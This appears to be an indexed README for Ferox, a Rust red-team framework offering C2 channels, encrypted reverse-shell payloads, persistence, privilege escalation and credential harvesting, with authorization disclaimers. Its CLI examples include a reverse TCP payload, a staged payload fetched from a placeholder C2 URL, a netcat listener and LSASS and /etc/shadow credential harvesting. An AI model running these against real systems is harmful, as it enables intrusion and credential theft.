An open API service indexing awesome lists of open source software.

https://github.com/abdulwahed-sweden/ferox

ferox
https://github.com/abdulwahed-sweden/ferox

c2 cybersecurity memory-forensics mitre-attack offensive-security penetration-testing pentesting red-team rust security-tools

Last synced: 3 days ago
JSON representation

ferox

Awesome Lists containing this project

README

          

# đŸĻŠ Ferox Security Framework v4.1

[![Rust](https://img.shields.io/badge/Rust-2021%20Edition-orange)]()
[![License](https://img.shields.io/badge/License-MIT-blue)]()
[![Status](https://img.shields.io/badge/Status-Production%20Ready-success)]()
[![Version](https://img.shields.io/badge/Version-4.1.0-brightgreen)]()

**Ferox** is a modern Rust-native offensive security framework designed for authorized penetration testing, security research, and red team operations. Built with performance, safety, and observability in mind.

> ## âš ī¸ Authorized Use Only
>
> Ferox is an **offensive-security tool** (recon, exploitation, C2, post-exploitation). Use it **only** against systems you own or for which you hold **explicit, written authorization** — e.g. a signed pentest engagement, a bug-bounty program's scope, or a lab you control.
>
> Unauthorized access to computer systems is a **crime** in most jurisdictions (e.g. the U.S. CFAA, the UK Computer Misuse Act, and equivalent EU/Swedish law). You are solely responsible for operating within the law and your authorization. The software is provided "AS IS", without warranty; the author accepts **no liability** for misuse or resulting damage. See the [Security & Authorization](#-security--authorization) section and [LICENSE](./LICENSE).

## What's New in 4.1

- **Code Modernization** - Updated to Rust 2021 edition, all dependencies current
- **Mobile App Analysis** - APK and IPA security assessment modules
- **Security Assessment Wizard** - Guided workflow for comprehensive assessments
- **Enhanced Progress Tracking** - Real-time progress with discoveries
- **Desktop Application** - Modern React-based Tauri interface

---

## 🚀 Quick Start

### Installation

```bash
git clone https://github.com/abdulwahed-sweden/ferox
cd ferox
cargo build --release --features memory-forensics
```

### First Run

```bash
# System diagnostics
./target/release/ferox doctor check

# Launch console
./target/release/ferox console

# Memory forensics
./target/release/ferox memory analyze dump.raw --output report.json
```

## đŸŽ¯ Core Features

### 🔍 Memory Forensics

- Volatility3 integration
- YARA scanning
- MITRE ATT&CK mapping
- Export formats: JSON, Markdown, tables

### đŸ›°ī¸ Command & Control

- Teams Tunnel C2
- HTTP beacon
- DNS C2
- Relay manager

### đŸŽ¯ Smart Payload System (Phase 4)

- **Fileless Reverse TCP** with AES-256-GCM encryption
- **Multi-stage payloads** (Stage-1 stager + Stage-2 payload)
- **Cross-platform support**: Windows, Linux, macOS, Universal
- **Execution Command Generators**: Ready-to-paste commands per OS
- **Listener Command Helpers**: Netcat, Socat, Metasploit, Python
- **C2 Integration**: Teams, GitHub Gist, DNS-over-HTTPS, HTTP Beacon

### 📱 Mobile App Analysis (New in 4.0)

- **APK Analyzer** - Android app security analysis
- Manifest parsing & permission analysis
- Code decompilation & secrets detection
- Network security config analysis
- Certificate validation checks
- **IPA Analyzer** - iOS app security analysis
- Info.plist analysis & entitlements extraction
- Binary protections check (PIE, ARC, stack canaries)
- URL scheme & deep link analysis
- Third-party SDK detection
- **App Reconnaissance** - App store intelligence gathering

### 🔧 Security Operations

- Reconnaissance (ASN, DNS, WHOIS, Subdomains)
- High-speed scanning
- Exploitation (authorized)
- Post-exploitation: credentials, persistence, lateral movement

### 🔒 Post-Exploitation Engines (Phase 5)

- **Persistence Engine**: Multi-platform persistence with 14 methods
- Windows: Registry Run, Scheduled Tasks, WMI Events, Services, Startup Folder
- Linux: Cron, Systemd, Shell RC, XDG Autostart
- macOS: Launch Agents/Daemons, Login Items
- Auto-select based on privileges and stealth requirements
- Built-in redundancy support
- **Privilege Escalation Engine**: Comprehensive privesc enumeration
- Windows: UAC Bypass (fodhelper, eventvwr, sdclt), Token Impersonation, Service Exploits
- Linux: Sudo abuse, SUID/SGID binaries, Kernel exploits, Capabilities
- MITRE ATT&CK mapping for all techniques
- GTFOBins integration references
- **Credential Harvesting Engine**: Multi-source credential extraction
- Windows: LSASS, SAM, Credential Manager, Browser passwords
- Linux: /etc/shadow, SSH keys, GNOME Keyring, Browser credentials
- macOS: Keychain, Browser passwords
- Cross-platform: Cloud credentials (AWS/Azure/GCP), Git tokens
- Sensitivity classification and redaction support

### 🗂 System Management

- SQLite session tracking
- Tamper-proof audit logs
- Safe mode for dangerous modules
- Policy-based authorization

## đŸ› ī¸ Usage Examples

### Interactive Console

```bash
ferox> use scanner/port
ferox (scanner/port)> set RHOSTS 10.0.0.0/24
ferox (scanner/port)> set PORTS 1-1000
ferox (scanner/port)> run --json > scan_results.json
```

### Memory Analysis

```bash
ferox memory analyze memory.dmp --database analysis.db
ferox memory malfind memory.dmp --min-score 0.6 --mitre
ferox memory pslist memory.dmp --format table
```

### System Diagnostics

```bash
ferox doctor check --critical
ferox doctor check --format json
ferox doctor dependency python
ferox doctor dependency volatility
```

### C2 Operations

```bash
ferox c2 list --status active
ferox c2 setup teams_tunnel --team-id "security-team"
ferox c2 test http_beacon --target http://target.com
```

### Smart Payload Generation

```bash
# Interactive payload generation
ferox> use payloads/rev_tcp_fileless
ferox (payloads/rev_tcp_fileless)> set LHOST 192.168.1.100
ferox (payloads/rev_tcp_fileless)> set LPORT 4444
ferox (payloads/rev_tcp_fileless)> set TARGET_OS windows
ferox (payloads/rev_tcp_fileless)> run

# Output includes:
# - Encrypted payload (Base64/Hex)
# - Ready-to-paste execution commands:
# - PowerShell Base64 Decode & Execute
# - PowerShell Encoded Command
# - CMD via PowerShell
# - Listener commands:
# - nc -lvnp 4444
# - msfconsole multi/handler

# Staged payload with C2
ferox (payloads/rev_tcp_fileless)> set STAGED true
ferox (payloads/rev_tcp_fileless)> set C2_URL https://c2.example.com/stage2
ferox (payloads/rev_tcp_fileless)> run
```

### Persistence Engine

```bash
# List all persistence methods
ferox persist list

# Auto-install persistence (safe mode)
ferox persist auto --platform windows --payload /path/to/agent --redundancy 2

# Show method details
ferox persist describe registry_run_hkcu

# Verify/remove persistence
ferox persist verify
ferox persist remove
```

### Privilege Escalation Engine

```bash
# List available enumerators
ferox privesc list

# Auto-enumerate and exploit (safe mode)
ferox privesc auto --platform windows --command cmd.exe

# Enumerate specific platform
ferox privesc enumerate --platform linux --category sudo

# Show technique details
ferox privesc describe uac_bypass
```

### Credential Harvesting Engine

```bash
# List available harvesters
ferox creds list --platform windows

# Harvest credentials (safe mode)
ferox creds harvest --platform linux --category all

# Filter by category
ferox creds harvest --platform windows --category browser

# Show harvester details
ferox creds describe lsass_memory

# Show harvested credentials
ferox creds show
```

### Mobile App Analysis

```bash
# Android APK Analysis
ferox> use mobile/apk_analyzer
ferox (mobile/apk_analyzer)> set APK_PATH /path/to/app.apk
ferox (mobile/apk_analyzer)> run

# iOS IPA Analysis
ferox> use mobile/ipa_analyzer
ferox (mobile/ipa_analyzer)> set IPA_PATH /path/to/app.ipa
ferox (mobile/ipa_analyzer)> run

# App Store Reconnaissance
ferox> use mobile/app_recon
ferox (mobile/app_recon)> set BUNDLE_ID com.example.app
ferox (mobile/app_recon)> run
```

### Security Assessment Wizard

```bash
# Launch interactive wizard
ferox> wizard

# Select assessment template:
# 1. Full Penetration Test
# 2. Web Application Assessment
# 3. Network Security Audit
# 4. Mobile App Assessment
# 5. Cloud Security Review
```

## 🎨 Interface — Mixed Predator Theme

- Dark, high-contrast security palette
- Minimal animations (calm UI)
- Terminal-optimized typography
- Clean status symbols (✅ ❌ âš ī¸ â„šī¸)

## đŸ›Ąī¸ Safe Mode Example

```bash
SAFE_MODE=1 ferox --mock run c2/teams_tunnel
SAFE_MODE=1 ferox console
```

## 🔧 Architecture

```text
Ferox CLI Integration Layer
↓
[doctor, memory, c2, sessions, persist, privesc, creds, console]
↓
Module Registry & Session Manager
↓
Security Engine (Async Rust)
↓
[Scanner, Recon, Exploit, Payloads, Memory, C2, Post, Auxiliary]
↓
┌─────────────────────────────────────────────────────────────┐
│ Smart Payload Engine (AES-256-GCM, HKDF, Multi-Stage) │
│ Persistence Engine (14 methods, 3 platforms) │
│ Privilege Escalation Engine (7 enumerators, 2+ exploits) │
│ Credential Harvesting Engine (12 harvesters, 3 platforms) │
└─────────────────────────────────────────────────────────────┘
```

## đŸ“Ļ Module Categories

| Category | # | Description |
| --------------------- | --- | ----------------------------------------------- |
| Scanner | 8 | Port & service detection |
| Recon | 6 | Information gathering |
| **Mobile** | 3 | APK/IPA analysis, app reconnaissance |
| Exploit | 4 | Authorized exploitation |
| **Payloads** | 3 | Smart payload generation with encryption |
| Memory Forensics | 8 | Volatility3 workflows |
| **Post-Exploitation** | 33+ | Persistence (14), PrivEsc (7), Credentials (12) |
| C2 & Evasion | 12 | Communication & stealth |
| Auxiliary | 5 | Utility modules |

## đŸŠē Ferox Doctor — Diagnostics Engine

```bash
# Full check
ferox doctor check

# Dependency inspection
ferox doctor dependency python
ferox doctor dependency volatility

# Auto-fix (when supported)
ferox doctor check --fix

# Formats
ferox doctor check --format json
ferox doctor check --format markdown
```

## 🔒 Security & Authorization

**Ferox is designed exclusively for authorized security work.**

### Permitted

- Authorized penetration testing
- Red team assessments
- Security research
- CTFs
- Defensive training

### Prohibited

- Unauthorized access
- Criminal activity
- Malicious operations
- Violating laws/regulations

### Built-in Safeguards

- Authorization context
- Immutable audit logs
- Safe mode for high-risk modules
- Policy-based access control

## đŸ–Ĩī¸ Ferox Desktop

A professional C2 operations console built with Tauri and React:

```bash
cd ferox-desktop
npm install
cargo tauri dev # Development
cargo tauri build # Production build
```

**Features:**

- Real-time session management with live updates
- Integrated terminal with command history
- Post-exploitation module dashboard
- Session tree visualization
- Dark theme optimized for operations.

See [Desktop Documentation](docs/developer/architecture.md) for details.

## 📚 Documentation

- [docs/README.md](docs/README.md) — Documentation index
- [docs/INSTALLATION.md](docs/INSTALLATION.md) — Installation guide
- [docs/user-guide/](docs/user-guide/) — End-user documentation
- [docs/developer/](docs/developer/) — Developer documentation
- [docs/api/](docs/api/) — API reference

## đŸ›Ŗī¸ Roadmap

- [x] v2.0.0 – Memory forensics engine
- [x] **Phase 4** – Smart Payload System with execution command generators
- [x] **Phase 5** – Post-Exploitation Engines (Persistence, PrivEsc, Credentials)
- [x] **Phase 6** – Ferox Desktop (Tauri + React operations console)
- [x] **v4.0.0** – Mobile App Analysis (APK/IPA) & Security Assessment Wizard
- [ ] Signed plugin marketplace
- [ ] Hardware-backed credential vault
- [ ] Extended evasion techniques

## 🤝 Contributing

1. Fork and branch:
```bash
git checkout -b feat/description
```
2. Run full tests:
```bash
cargo test --features memory-forensics --tests
```
3. Document all new modules.
4. Include authorization/audit notes in PR.

## 📄 License

Released under the MIT License. Usage limited to ethical and authorized scenarios.

## đŸ“Ŧ Support

- Maintainer: Abdulwahed Mansour
- Email: abdulwahed.mansour@gmail.com
- Security Contact: security@ferox.local
- GitHub: @abdulwahed-sweden

Fast. Fierce. Fearless. Authorized. đŸĻŠ